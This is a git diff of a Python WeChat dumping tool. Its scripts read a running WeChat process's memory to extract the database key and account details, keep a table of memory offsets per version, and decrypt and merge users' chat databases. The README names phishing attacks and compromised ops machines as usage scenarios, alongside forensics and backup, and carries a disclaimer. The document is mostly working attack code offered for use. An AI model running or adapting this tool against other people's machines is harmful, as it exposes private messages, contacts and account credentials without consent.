diff --git a/Program/get_base_addr.py b/Program/get_base_addr.py new file mode 100644 index 0000000..ca906db --- /dev/null +++ b/Program/get_base_addr.py @@ -0,0 +1,280 @@ +# -*- coding: utf-8 -*-# +# ------------------------------------------------------------------------------- +# Name: get_base_addr.py +# Description: +# Author: xaoyaoo +# Date: 2023/08/22 +# ------------------------------------------------------------------------------- +import argparse +import ctypes +import json +import re + +import psutil +import win32api + + +def hex2dec(hex): + return int(hex, 16) + + +def dec2hex(dec): + return hex(dec) + + +def hex_add(hex1, hex2, base1=16, base2=16): + """ + 两个任意进制数相加 + :param hex1: + :param hex2: + :return: + """ + return hex(int(hex1, base1) + int(hex2, base2)) + + +def hex_sub(hex1, hex2, base1=16, base2=16): + """ + 两个任意进制数相减 + :param hex1: + :param hex2: + :return: + """ + return hex(int(hex1, base1) - int(hex2, base2)) + + +def get_pid(keyword): + """ + 获取进程id + :param keyword: 关键字 + :return: + """ + pids = {} + for proc in psutil.process_iter(): + if keyword in proc.name(): + pids[proc.pid] = proc + return pids + + +class BaseAddr: + def __init__(self, pid, proc_module_name="WeChatWin.dll"): + self.pid = pid + self.module_name = proc_module_name + self.proc = psutil.Process(self.pid) + self.version = self.get_app_version(self.proc.exe()) + self.base_address = 0 + self.end_address = 0 + self.batch = 0 + + self.key_start_addr = 0 + self.key_end_addr = 0 + + self.mobile_addr = [] + self.name_addr = [] + self.account_addr = [] + # self.key_addr = [] + + self.get_base_addr() + + def get_app_version(self, executable_path): + info = win32api.GetFileVersionInfo(executable_path, "\\") + version = info['FileVersionMS'] >> 16, info['FileVersionMS'] & 0xFFFF, \ + info['FileVersionLS'] >> 16, info['FileVersionLS'] & 0xFFFF + version_str = ".".join(map(str, version)) + + return version_str + + def get_base_addr(self): + """ + 获取模块基址 + :param pid: 进程id + :param module_name: 模块名 + :return: + """ + base_address = 0 + end_address = 0 + batch = 0 + n = 0 + for module in self.proc.memory_maps(grouped=False): + if self.module_name in module.path: + if n == 0: + base_address = int(module.addr, 16) + batch = module.rss + n += 1 + end_address = int(module.addr, 16) + module.rss + + self.base_address = base_address + self.end_address = end_address + self.batch = batch + # self.batch = end_address - base_address + + def find_all(self, c, string): + """ + 查找字符串中所有子串的位置 + :param c: 子串 b'123' + :param string: 字符串 b'123456789123' + :return: + """ + return [m.start() for m in re.finditer(re.escape(c), string)] + + # 搜索内存地址范围内的值 + def search_memory_value(self, mobile, name, account): + mobile = mobile.encode("utf-8") + name = name.encode("utf-8") + account = account.encode("utf-8") + + Handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, self.pid) + + mobile_addr = [] + name_addr = [] + account_addr = [] + + array = ctypes.create_string_buffer(self.batch) + for i in range(self.base_address, self.end_address, self.batch): + if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: + continue + + hex_string = array.raw # 读取到的内存数据 + + if mobile in hex_string: + mobile_addr = mobile_addr + [m.start() + i for m in re.finditer(re.escape(mobile), hex_string)] + if name in hex_string: + name_addr = name_addr + [m.start() + i for m in re.finditer(re.escape(name), hex_string)] + if account in hex_string: + account_addr = account_addr + [m.start() + i for m in re.finditer(re.escape(account), hex_string)] + + self.mobile_addr = mobile_addr + self.name_addr = name_addr + self.account_addr = account_addr + return mobile_addr, name_addr, account_addr + + def get_key_addr(self, key): + """ + 获取key的地址 + :param key: + :return: + """ + key = bytes.fromhex(key) + + module_start_addr = 34199871460642 + module_end_addr = 0 + for module in self.proc.memory_maps(grouped=False): + if "WeChat" in module.path: + start_addr = int(module.addr, 16) + end_addr = start_addr + module.rss + + if module_start_addr > start_addr: + module_start_addr = start_addr + if module_end_addr < end_addr: + module_end_addr = end_addr + + Handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, self.pid) + array = ctypes.create_string_buffer(self.batch) + + for i in range(module_start_addr, module_end_addr, self.batch): + if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: + continue + + hex_string = array.raw # 读取到的内存数据 + if key in hex_string: + self.key_addr_tmp = i + hex_string.find(key) + break + + array_key = [] + for i in range(8): + byte_value = (self.key_addr_tmp >> (i * 8)) & 0xFF + hex_string = format(byte_value, '02x') + byte_obj = bytes.fromhex(hex_string) + array_key.append(byte_obj) + # 合并数组 + array_key = b''.join(array_key) + + array = ctypes.create_string_buffer(self.batch) + for i in range(self.base_address, self.end_address, self.batch): + if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: + continue + + hex_string = array.raw # 读取到的内存数据 + if array_key in hex_string: + self.key_addr = i + hex_string.find(array_key) + return self.key_addr + + def calculate_offset(self, addr): + """ + 计算偏移量 + :param addr: + :return: + """ + offset = addr - self.base_address + return offset + + def get_offset(self): + """ + 计算偏移量 + :param addr: + :return: + """ + mobile_offset = 0 + name_offset = 0 + account_offset = 0 + key_offset = 0 + if len(self.mobile_addr) >= 1: + mobile_offset = self.calculate_offset(self.mobile_addr[0]) + if len(self.name_addr) >= 1: + name_offset = self.calculate_offset(self.name_addr[0]) + if len(self.account_addr) >= 1: + account_offset = self.calculate_offset(self.account_addr[1]) + + key_offset = self.calculate_offset(self.key_addr) + + self.key_offset = key_offset + self.mobile_offset = mobile_offset + self.name_offset = name_offset + self.account_offset = account_offset + return name_offset, account_offset, mobile_offset, 0, key_offset + + +def run(mobile, name, account, key): + proc_name = "WeChat.exe" + proc_module_name = "WeChatWin.dll" + + pids = get_pid(proc_name) + for pid, proc in pids.items(): + ba = BaseAddr(pid, proc_module_name) + ba.search_memory_value(mobile, name, account) + ba.get_key_addr(key) + name_offset, account_offset, mobile_offset, _, key_offset = ba.get_offset() + rdata = {ba.version: [name_offset, account_offset, mobile_offset, 0, key_offset]} + return rdata + + +if __name__ == '__main__': + # 创建命令行参数解析器 + parser = argparse.ArgumentParser() + parser.add_argument("--mobile", type=str, help="手机号") + parser.add_argument("--name", type=str, help="微信昵称") + parser.add_argument("--account", type=str, help="微信账号") + parser.add_argument("--key", type=str, help="密钥") + + # 解析命令行参数 + args = parser.parse_args() + + # 检查是否缺少必要参数,并抛出错误 + if not args.mobile or not args.name or not args.account or not args.key: + raise ValueError("缺少必要的命令行参数!请提供手机号、微信昵称、微信账号和密钥。") + + # 从命令行参数获取值 + mobile = args.mobile + name = args.name + account = args.account + key = args.key + + # 调用 run 函数,并传入参数 + rdata = run(mobile, name, account, key) + print(rdata) + + # 添加到version_list.json + with open("version_list.json", "r", encoding="utf-8") as f: + data = json.load(f) + data.update(rdata) + with open("version_list.json", "w", encoding="utf-8") as f: + json.dump(data, f, ensure_ascii=False, indent=4) diff --git a/Program/get_wx_info.py b/Program/get_wx_info.py index ec1786e..4b06be7 100644 --- a/Program/get_wx_info.py +++ b/Program/get_wx_info.py @@ -8,7 +8,7 @@ import binascii import json import ctypes - +import win32api import psutil @@ -40,7 +40,6 @@ def get_account(pid, base_address, n_size=100): null_index = i break text = ctypes.string_at(ctypes.byref(array), null_index).decode('utf-8', errors='ignore') - return text @@ -85,6 +84,7 @@ def get_hex(h_process, lp_base_address): num = 32 array2 = (ctypes.c_ubyte * num)() + lp_base_address2 = ( (int(binascii.hexlify(array[7]), 16) << 56) + (int(binascii.hexlify(array[6]), 16) << 48) + @@ -95,17 +95,15 @@ def get_hex(h_process, lp_base_address): (int(binascii.hexlify(array[1]), 16) << 8) + int(binascii.hexlify(array[0]), 16) ) - if ctypes.windll.kernel32.ReadProcessMemory(h_process, ctypes.c_void_p(lp_base_address2), ctypes.byref(array2), num, 0) == 0: return "" - hex_string = binascii.hexlify(bytes(array2)) return hex_string.decode('utf-8') def get_file_version(file_path): - import win32api + info = win32api.GetFileVersionInfo(file_path, "\\") ms = info['FileVersionMS'] ls = info['FileVersionLS'] @@ -113,6 +111,9 @@ def get_file_version(file_path): # version = parse(file_version) return file_version +# def get_wx_id(h_process, lp_base_address): + + def read_info(version_list): support_list = None @@ -121,7 +122,7 @@ def read_info(version_list): rd = [] for process in psutil.process_iter(['name', 'exe', 'pid', 'cmdline']): - if process.info['name'] == 'WeChat.exe': + if process.name() == 'WeChat.exe': tmp_rd = {} wechat_process = process tmp_rd['pid'] = wechat_process.pid @@ -186,11 +187,12 @@ def read_info(version_list): return "[-] WeChat No Run" return rd + if __name__ == "__main__": - version_list = json.load(open("../version_list.json", "r", encoding="utf-8")) + version_list = json.load(open("version_list.json", "r", encoding="utf-8")) rd = read_info(version_list) + # print(rd) for i in rd: for k, v in i.items(): print(f"[+] {k}: {v}") - print("=====================================") diff --git a/Program/version_list.json b/Program/version_list.json new file mode 100644 index 0000000..d030352 --- /dev/null +++ b/Program/version_list.json @@ -0,0 +1,303 @@ +{ + "3.2.1.154": [ + 328121948, + 328122328, + 328123056, + 328121976, + 328123020 + ], + "3.3.0.115": [ + 31323364, + 31323744, + 31324472, + 31323392, + 31324436 + ], + "3.3.0.84": [ + 31315212, + 31315592, + 31316320, + 31315240, + 31316284 + ], + "3.3.0.93": [ + 31323364, + 31323744, + 31324472, + 31323392, + 31324436 + ], + "3.3.5.34": [ + 30603028, + 30603408, + 30604120, + 30603056, + 30604100 + ], + "3.3.5.42": [ + 30603012, + 30603392, + 30604120, + 30603040, + 30604084 + ], + "3.3.5.46": [ + 30578372, + 30578752, + 30579480, + 30578400, + 30579444 + ], + "3.4.0.37": [ + 31608116, + 31608496, + 31609224, + 31608144, + 31609188 + ], + "3.4.0.38": [ + 31604044, + 31604424, + 31605152, + 31604072, + 31605116 + ], + "3.4.0.50": [ + 31688500, + 31688880, + 31689608, + 31688528, + 31689572 + ], + "3.4.0.54": [ + 31700852, + 31701248, + 31700920, + 31700880, + 31701924 + ], + "3.4.5.27": [ + 32133788, + 32134168, + 32134896, + 32133816, + 32134860 + ], + "3.4.5.45": [ + 32147012, + 32147392, + 32147064, + 32147040, + 32148084 + ], + "3.5.0.20": [ + 35494484, + 35494864, + 35494536, + 35494512, + 35495556 + ], + "3.5.0.29": [ + 35507980, + 35508360, + 35508032, + 35508008, + 35509052 + ], + "3.5.0.33": [ + 35512140, + 35512520, + 35512192, + 35512168, + 35513212 + ], + "3.5.0.39": [ + 35516236, + 35516616, + 35516288, + 35516264, + 35517308 + ], + "3.5.0.42": [ + 35512140, + 35512520, + 35512192, + 35512168, + 35513212 + ], + "3.5.0.44": [ + 35510836, + 35511216, + 35510896, + 35510864, + 35511908 + ], + "3.5.0.46": [ + 35506740, + 35507120, + 35506800, + 35506768, + 35507812 + ], + "3.6.0.18": [ + 35842996, + 35843376, + 35843048, + 35843024, + 35844068 + ], + "3.6.5.7": [ + 35864356, + 35864736, + 35864408, + 35864384, + 35865428 + ], + "3.6.5.16": [ + 35909428, + 35909808, + 35909480, + 35909456, + 35910500 + ], + "3.7.0.26": [ + 37105908, + 37106288, + 37105960, + 37105936, + 37106980 + ], + "3.7.0.29": [ + 37105908, + 37106288, + 37105960, + 37105936, + 37106980 + ], + "3.7.0.30": [ + 37118196, + 37118576, + 37118248, + 37118224, + 37119268 + ], + "3.7.5.11": [ + 37883280, + 37884088, + 37883136, + 37883008, + 37884052 + ], + "3.7.5.23": [ + 37895736, + 37896544, + 37895592, + 37883008, + 37896508 + ], + "3.7.5.27": [ + 37895736, + 37896544, + 37895592, + 37895464, + 37896508 + ], + "3.7.5.31": [ + 37903928, + 37904736, + 37903784, + 37903656, + 37904700 + ], + "3.7.6.24": [ + 38978840, + 38979648, + 38978696, + 38978604, + 38979612 + ], + "3.7.6.29": [ + 38986376, + 38987184, + 38986232, + 38986104, + 38987148 + ], + "3.7.6.44": [ + 39016520, + 39017328, + 39016376, + 38986104, + 39017292 + ], + "3.8.0.31": [ + 46064088, + 46064912, + 46063944, + 38986104, + 46064876 + ], + "3.8.0.33": [ + 46059992, + 46060816, + 46059848, + 38986104, + 46060780 + ], + "3.8.0.41": [ + 46064024, + 46064848, + 46063880, + 38986104, + 46064812 + ], + "3.8.1.26": [ + 46409448, + 46410272, + 46409304, + 38986104, + 46410236 + ], + "3.9.0.28": [ + 48418376, + 48419280, + 48418232, + 38986104, + 48419244 + ], + "3.9.2.23": [ + 50320784, + 50321712, + 50320640, + 38986104, + 50321676 + ], + "3.9.2.26": [ + 50329040, + 50329968, + 50328896, + 38986104, + 50329932 + ], + "3.9.5.91": [ + 61654904, + 61654680, + 61654712, + 38986104, + 61656176 + ], + "3.9.6.19": [ + 61997688, + 61997464, + 61997496, + 38986104, + 61998960 + ], + "3.9.6.33": [ + 62030600, + 62031936, + 62030408, + 0, + 62031872 + ] +} \ No newline at end of file diff --git a/README.md b/README.md index 2bf256f..2a82eeb 100644 --- a/README.md +++ b/README.md @@ -1,50 +1,176 @@ -## SharpWxDump -如何获取指定版本基址:https://github.com/AdminTest0/SharpWxDump/blob/master/CE%E8%8E%B7%E5%8F%96%E5%9F%BA%E5%9D%80.md +#
SharpWxDump - Python
-## 特别说明 -该分支是SharpWxDump的python语言版本。 -同时添加了一些新的功能。 +## 一、项目介绍 -**使用方法** +本项目可以获取微信基本信息,以及key,通过key可以解密微信数据库,获取聊天记录,好友信息,群信息等。 + +该分支是[SharpWxDump](https://github.com/AdminTest0/SharpWxDump)的经过重构python语言版本,同时添加了一些新的功能。 + +## 二、使用方法 + +### 1. 安装依赖 + +```shell script +pip install -r requirements.txt ``` + +**说明**: + +1. requirements.txt中的包可能不全,如果运行报错,请自行安装缺少的包 +2. 如果运行报错,请检查python版本,本项目使用的是python3.10 +3. 安装pycryptodome时可能会报错,可以使用下面的命令安装,自行搜索解决方案(该包为解密的核心包) + +### 2. 获取微信基本信息 + +获取微信的信息,获取到几个,取决于现在登录的几个微信。 + +**2.1 shell获取微信基本信息** + +```shell script cd Program -python3 Program.py - -# 也可以import 调用 -import Program -Program.read_info(version) +python get_wx_info.py ``` -**支持功能** +结果 + +```shell script +[+] pid: 2365 +[+] version: *.*.*.* +[+] key: ******************************************d +[+] name: ***** +[+] account: ******** +[+] mobile: ****** +[+] mail: ***** +======================================== +[+] pid: 2365 +[+] version: *.*.*.* +[+] key: ******************************************d +[+] name: ***** +[+] account: ******** +[+] mobile: ****** +[+] mail: ***** +======================================== +... +``` + +**2.2 import 调用** + +```python +import json +from Program.get_wx_info import read_info + +version_list = json.load(open("version_list.json", "r", encoding="utf-8")) +data = read_info(version_list) +print(data) +``` + +结果: + +```list +[ + { + 'pid': 5632, + 'version': '*.*.*.*', + 'key': '***************************************', + 'name': '******', + 'account': '******', + 'mobile': '135********', + 'mail': '********' + }, + { + 'pid': 5632, + 'version': '*.*.*.*', + 'key': '***************************************', + 'name': '******', + 'account': '******', + 'mobile': '135********', + 'mail': '********' + }, + ... +] +``` + +**说明**: 每个字段具体含义,参看上一条shell获取微信基本信息 + +### 3. 获取偏移地址 + +* 该方法一般不需要,只有当[version_list.json](./Program/version_list.json)没有对应的微信版本时,可以通过该方法获取偏移地址 +* 如果需要请参考下面的方法获取 + +**3.1 通过python脚本获取** + +```shell +python get_base_addr.py --mobile 152******** --name ****** --account ****** --key ********************************************** +``` + +参数说明: + + mobile = "152********" # 手机号 + name = "******" # 微信昵称 + account = "******" # 微信账号 + # 以上信息可以通过微信客户端获取 + + key = '**********************************************' # key + # 需要降低版本使用get_wx_info.py获取key,也可以通过CheatEngine等工具获取 + # 最好是保存之前同微信使用过的key,非常方便 + +**3.2 通过CheatEngine等工具获取** + +具体请查看:[CE获取基址.md](./CE%E8%8E%B7%E5%8F%96%E5%9F%BA%E5%9D%80.md) + +* 该方法获取到的偏移地址需要手动添加到[version_list.json](./Program/version_list.json)中 + +**3.3 最简单获取方法** + +最简单的方法当然是运行 + +```shell +git clone https://github.com/xaoyaoo/SharpWxDump.git +``` + +重新拉取一份新的啦~ + +* ps: 该方法不一定能获取到最新的版本 +* 如果需要最新的版本,可以通过上面的方法获取 +* 你也可以提交Issues,分分钟给你更新 + +## 三、获取解密数据库 + +* [decrypt.py](./decrypted/decrypt.py) : 数据库解密脚本 +* [get_wx_decrypted_db.py](./decrypted/get_wx_decrypted_db.py) :直接读取当前登录微信的数据库,解密后保存到当前目录下的decrypted文件夹中 + +![image](https://user-images.githubusercontent.com/33925462/179410883-10deefb3-793d-4e15-8475-a74954fafe19.png) + +* 解密后可拖入数据库工具查找敏感信息 +* 还有一份数据的说明文档,但是我累了,不想写了 + +**方法** + +```shell +```shell +# 累了。。。不想写了,自己看代码吧 +``` + +## 四、支持功能 + 1. 支持微信多开场景,获取多用户信息等 2. 微信需要登录状态才能获取数据库密钥 -3. 没有动态获取功能,已将偏移地址写入version_list.josn内,会不定期更新,**如有需要的版本请提交Issues** - -![image](https://user-images.githubusercontent.com/33925462/179410099-c0f52c1c-b552-4a51-9822-7440b097bca4.png) **版本差异** + 1. 版本 < 3.7.0.30 只运行不登录能获取个人信息,登录后可以获取数据库密钥 2. 版本 > 3.7.0.30 只运行不登录不能获取个人信息,登录后都能获取 **利用场景** + 1. 钓鱼攻击(通过钓鱼控到的机器通常都是登录状态) 2. 渗透到运维机器(有些运维机器会日常登录自己的微信) 3. 某些工作需要取证(数据库需要拷贝到本地) 4. 自行备份(日常备份自己留存) 5. 等等............... -**数据库解密** +## 五、免责声明(非常重要!!!!!!!) -解密后可拖入数据库工具查找敏感信息 - -![image](https://user-images.githubusercontent.com/33925462/179410883-10deefb3-793d-4e15-8475-a74954fafe19.png) - -**参考地址** - -数据库解密脚本:https://mp.weixin.qq.com/s/4DbXOS5jDjJzM2PN0Mp2JA - - -## 免责声明 本项目仅允许在授权情况下对数据库进行备份,严禁用于非法目的,否则自行承担所有相关责任。使用该工具则代表默认同意该条款; 请勿利用本项目的相关技术从事非法测试,如因此产生的一切不良后果与项目作者无关。 diff --git a/decrypted/decrypt.py b/decrypted/decrypt.py new file mode 100644 index 0000000..223d616 --- /dev/null +++ b/decrypted/decrypt.py @@ -0,0 +1,50 @@ +import hmac +import hashlib + +from Cryptodome.Cipher import AES + +SQLITE_FILE_HEADER = "SQLite format 3\x00" # SQLite文件头 + +KEY_SIZE = 32 +DEFAULT_PAGESIZE = 4096 +DEFAULT_ITER = 64000 + + +# 通过密钥解密数据库 +def decrypt(key, filePath, decryptedPath): + password = bytes.fromhex(key.replace(" ", "")) + with open(filePath, "rb") as file: + blist = file.read() + + salt = blist[:16] + byteKey = hashlib.pbkdf2_hmac("sha1", password, salt, DEFAULT_ITER, KEY_SIZE) + first = blist[16:DEFAULT_PAGESIZE] + + mac_salt = bytes([(salt[i] ^ 58) for i in range(16)]) + mac_key = hashlib.pbkdf2_hmac("sha1", byteKey, mac_salt, 2, KEY_SIZE) + hash_mac = hmac.new(mac_key, first[:-32], hashlib.sha1) + hash_mac.update(b'\x01\x00\x00\x00') + + if hash_mac.digest() == first[-32:-12]: + print("Decryption Success") + else: + print("Password Error") + return False + + newblist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)] + + with open(decryptedPath, "wb") as deFile: + deFile.write(SQLITE_FILE_HEADER.encode()) + t = AES.new(byteKey, AES.MODE_CBC, first[-48:-32]) + decrypted = t.decrypt(first[:-48]) + deFile.write(decrypted) + deFile.write(first[-48:]) + + for i in newblist: + t = AES.new(byteKey, AES.MODE_CBC, i[-48:-32]) + decrypted = t.decrypt(i[:-48]) + deFile.write(decrypted) + deFile.write(i[-48:]) + + return True + diff --git a/decrypted/decrypt1.py b/decrypted/decrypt1.py deleted file mode 100644 index fd599ad..0000000 --- a/decrypted/decrypt1.py +++ /dev/null @@ -1,301 +0,0 @@ -import glob -import os -import hmac -import hashlib -import re -import shutil -import sqlite3 -import subprocess -import winreg - -from Cryptodome.Cipher import AES - -SQLITE_FILE_HEADER = "SQLite format 3\x00" -IV_SIZE = 16 -HMAC_SHA1_SIZE = 20 -KEY_SIZE = 32 -DEFAULT_PAGESIZE = 4096 -DEFAULT_ITER = 64000 - - -# 通过密钥解密数据库 -def decrypt(key, filePath, decryptedPath): - password = bytes.fromhex(key.replace(" ", "")) - with open(filePath, "rb") as file: - blist = file.read() - - salt = blist[:16] - byteKey = hashlib.pbkdf2_hmac("sha1", password, salt, DEFAULT_ITER, KEY_SIZE) - first = blist[16:DEFAULT_PAGESIZE] - - mac_salt = bytes([(salt[i] ^ 58) for i in range(16)]) - mac_key = hashlib.pbkdf2_hmac("sha1", byteKey, mac_salt, 2, KEY_SIZE) - hash_mac = hmac.new(mac_key, first[:-32], hashlib.sha1) - hash_mac.update(b'\x01\x00\x00\x00') - - if hash_mac.digest() == first[-32:-12]: - print("Decryption Success") - else: - print("Password Error") - - newblist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)] - - with open(decryptedPath, "wb") as deFile: - deFile.write(SQLITE_FILE_HEADER.encode()) - t = AES.new(byteKey, AES.MODE_CBC, first[-48:-32]) - decrypted = t.decrypt(first[:-48]) - deFile.write(decrypted) - deFile.write(first[-48:]) - - for i in newblist: - t = AES.new(byteKey, AES.MODE_CBC, i[-48:-32]) - decrypted = t.decrypt(i[:-48]) - deFile.write(decrypted) - deFile.write(i[-48:]) - - -# 通过外部程序获取微信数据库的key -def get_wx_key(): - """ - 执行 GoWxDump.exe -wxinfo 获取微信数据库的key - :return: - """ - # 获取当前文件路径的上一级目录 - current_path = os.path.dirname(os.path.abspath(__file__)) - current_path = os.path.abspath(os.path.join(current_path, "../..")) - # 获取GoWxDump.exe的路径 - gowxdump_path = os.path.join(current_path, "Release", "GoWxDump.exe") - # 判断GoWxDump.exe是否存在 - if not os.path.exists(gowxdump_path): - print("GoWxDump.exe not found") - return - command = gowxdump_path + " -wxinfo" - output = subprocess.check_output(command, shell=True, encoding='latin-1') - - wx_key = output.split("WeChat Key:")[-1].strip() - return wx_key - - -# 获取微信数据根目录 -def get_wechat_dir(): - """ - 读取注册表获取微信消息目录 - :return: - """ - try: - # 打开注册表的微信路径:HKEY_CURRENT_USER\Software\Tencent\WeChat\FileSavePath - key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Tencent\WeChat", 0, winreg.KEY_READ) - # 获取key的值 - value, _ = winreg.QueryValueEx(key, "FileSavePath") - # 关闭注册表项 - winreg.CloseKey(key) - w_dir = value - except Exception as e: - print("读取注册表错误:", str(e)) - return str(e) - - # 如果 w_dir 为 "MyDocument:" - if w_dir == "MyDocument:": - # 获取 %USERPROFILE%/Documents 目录 - profile = os.path.expanduser("~") - # 获取微信消息目录 - msg_dir = os.path.join(profile, "Documents", "WeChat Files") - else: - # 获取微信消息目录 - msg_dir = os.path.join(w_dir, "WeChat Files") - # 判断目录是否存在 - if not os.path.exists(msg_dir): - raise FileNotFoundError("目录不存在") - return msg_dir - - -# 获取微信消息目录下的所有用户目录 -def get_wechat_user_dir(wechat_root): - """ - // 获取微信消息目录下的所有用户目录,排除All Users目录和Applet目录,返回一个map,key用户id,value用户目录 - :param wechat_root: 微信消息目录 - :return: - """ - user_dirs = {} - # 获取微信消息目录下的所有用户目录 - files = os.listdir(wechat_root) - for file_name in files: - # 排除All Users目录和Applet目录 - if file_name == "All Users" or file_name == "Applet" or file_name == "WMPF": - continue - user_dirs[file_name] = os.path.join(wechat_root, file_name) - return user_dirs - - -# copy msg.db到tmp目录,并创建decrypted目录 -def copy_msg_db(data_dir): - # 判断目录是否存在 - if not os.path.exists(data_dir): - raise FileNotFoundError("目录不存在") - - # 判断运行目录是否存在tmp目录,如果不存在则创建 - tmp_dir = os.path.join(os.getcwd(), "tmp") - if not os.path.exists(tmp_dir): - os.mkdir(tmp_dir) - - # 正则匹配,将所有MSG数字.db文件拷贝到tmp目录,不扫描子目录 - for root, dirs, files in os.walk(data_dir): - for file_name in files: - if re.match(r".*MSG.*\.db", file_name): - src_path = os.path.join(root, file_name) - dst_path = os.path.join(tmp_dir, file_name) - shutil.copyfile(src_path, dst_path) - - if "MicroMsg.db" in files: - src_path = os.path.join(root, "MicroMsg.db") - dst_path = os.path.join(tmp_dir, "MicroMsg.db") - shutil.copyfile(src_path, dst_path) - - # 如果不存在decrypted目录则创建 - decrypted_dir = os.path.join(os.getcwd(), "") - if not os.path.exists(decrypted_dir): - os.mkdir(decrypted_dir) - return tmp_dir, decrypted_dir - - -# 合并相同名称的数据库 -def merge_db(db_path): - dbs_paths = {} - for root, dirs, files in os.walk(db_path): - for file_name in files: - if "db-shm" in file_name or "db-wal" in file_name: - continue - if "FTSMSG" in file_name: - src_path = os.path.join(root, file_name) - dbs_paths["FTSMSG_all.db"] = dbs_paths.get("FTSMSG_all.db", []) - dbs_paths["FTSMSG_all.db"].append(src_path) - elif "MediaMSG" in file_name: - src_path = os.path.join(root, file_name) - dbs_paths["MediaMSG_all.db"] = dbs_paths.get("MediaMSG_all.db", []) - dbs_paths["MediaMSG_all.db"].append(src_path) - elif "MSG" in file_name: - src_path = os.path.join(root, file_name) - dbs_paths["MSG_all.db"] = dbs_paths.get("MSG_all.db", []) - dbs_paths["MSG_all.db"].append(src_path) - - for db_name, db_files in dbs_paths.items(): - if db_name != "MSG_all.db": - continue - - save_path = os.path.join(db_path, db_name) - merged_conn = sqlite3.connect(save_path) - merged_cursor = merged_conn.cursor() - - for db_file in db_files: - c0 = merged_cursor.execute("select tbl_name from sqlite_master where type='table'") - r0 = c0.fetchall() - r0 = [row[0] for row in r0] - - conn = sqlite3.connect(db_file) - cursor = conn.cursor() - c = cursor.execute("select tbl_name,sql from sqlite_master where type='table'") - tbls = [] - for row in c: - if row[0] == "sqlite_sequence": - continue - if "mmTokenizer" in row[1]: - continue - tbls.append(row[0]) - if row[0] in r0: - continue - try: - merged_cursor.execute(row[1]) - except Exception as e: - print(e) - print(db_file) - print(row[1]) - print(r0) - raise e - merged_conn.commit() - for row in tbls: - c1 = cursor.execute("select * from " + row) - for r in c1: - columns = conn.execute("PRAGMA table_info(" + row + ")").fetchall() - if len(columns) > 1: - columns = [column[1] for column in columns[1:]] - values = r[1:] - # query = "INSERT INTO " + row + " (" + ",".join(columns) + ") VALUES (" + ",".join( - # ["?" for _ in range(len(values))]) + ")" - else: - columns = [columns[0][1]] - values = [r[0]] - query_1 = "select * from " + row + " where " + columns[0] + "=?" - c2 = merged_cursor.execute(query_1, values) - if len(c2.fetchall()) > 0: - continue - query = "INSERT INTO " + row + " (" + ",".join(columns) + ") VALUES (" + ",".join( - ["?" for _ in range(len(values))]) + ")" - - try: - merged_cursor.execute(query, values) - except Exception as e: - print() - print("error") - print(e) - print(db_file) - print(query, values) - print(len(values)) - raise e - merged_conn.commit() - - conn.close() - print(db_file) - - merged_conn.close() - # merge_databases(save_path, db_file) - - -def merge_databases(db1, db2): - con3 = sqlite3.connect(db1) - - con3.execute("ATTACH DATABASE '" + db2 + "' as dba") - - con3.execute("BEGIN") - for row in con3.execute("SELECT * FROM dba.sqlite_master WHERE type='table'"): - # 此处的ignore就是为了忽略重复ID导致的异常 - combine = "INSERT OR IGNORE INTO " + row[1] + " SELECT * FROM dba." + row[1] - print(combine) - con3.execute(combine) - con3.commit() - con3.execute("detach database dba") - - -if __name__ == '__main__': - # 获取微信数据库的key - wx_key = get_wx_key() - - # 获取微信消息目录 - wechat_msg_dir = get_wechat_dir() - user_msg_dirs = get_wechat_user_dir(wechat_msg_dir) - if len(user_msg_dirs) == 1: - data_dir = list(user_msg_dirs.values())[0] - else: - for i, user_dir in enumerate(user_msg_dirs): - print(i, user_dir) - index = int(input("请选择要导出的用户:")) - data_dir = list(user_msg_dirs.values())[index] - - print("复制微信的msg数据文件...") - # 复制微信的msg数据文件 - tmp_dir, decrypted_dir = copy_msg_db(os.path.join(data_dir, "Msg")) - - print("解密数据库...") - # 解密数据库 - for file_name in os.listdir(tmp_dir): - if re.match(r".*\.db$", file_name): - src_path = os.path.join(tmp_dir, file_name) - dst_path = os.path.join(decrypted_dir, file_name) - decrypt(wx_key, src_path, dst_path) - - # 删除临时目录 - shutil.rmtree(tmp_dir) - - # decrypted_dir = os.path.join(os.getcwd(), "decrypted") - print("合并数据库...") - # 合并数据库 - merge_db(decrypted_dir) diff --git a/decrypted/get_wx_decrypted_db.py b/decrypted/get_wx_decrypted_db.py new file mode 100644 index 0000000..93c4e53 --- /dev/null +++ b/decrypted/get_wx_decrypted_db.py @@ -0,0 +1,293 @@ +# -*- coding: utf-8 -*-# +# ------------------------------------------------------------------------------- +# Name: get_wx_decrypted_db.py +# Description: +# Author: xaoyaoo +# Date: 2023/08/25 +# ------------------------------------------------------------------------------- +import os +import re +import shutil +import sqlite3 +import winreg + +from .decrypt import decrypt + + +# 开始获取微信数据库 +def get_wechat_db(): + try: + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Tencent\WeChat", 0, winreg.KEY_READ) + value, _ = winreg.QueryValueEx(key, "FileSavePath") + winreg.CloseKey(key) + w_dir = value + except Exception as e: + try: + w_dir = "MyDocument:" + except Exception as e: + print("读取注册表错误:", str(e)) + return str(e) + + if w_dir == "MyDocument:": + profile = os.path.expanduser("~") + msg_dir = os.path.join(profile, "Documents", "WeChat Files") + else: + msg_dir = os.path.join(w_dir, "WeChat Files") + if not os.path.exists(msg_dir): + return FileNotFoundError("目录不存在") + user_dirs = {} # wx用户目录 + files = os.listdir(msg_dir) + for file_name in files: + if file_name == "All Users" or file_name == "Applet" or file_name == "WMPF": + continue + user_dirs[file_name] = os.path.join(msg_dir, file_name) + + # 获取数据库路径 + for user, user_dir in user_dirs.items(): + Media_p = [] + Micro_p = [] + FTS_p = [] + Sns_p = [] + Msg = [] + Emotion_p = [] + for root, dirs, files in os.walk(user_dir): + for file_name in files: + if re.match(r".*MediaMSG.*\.db$", file_name): + src_path = os.path.join(root, file_name) + Media_p.append(src_path) + 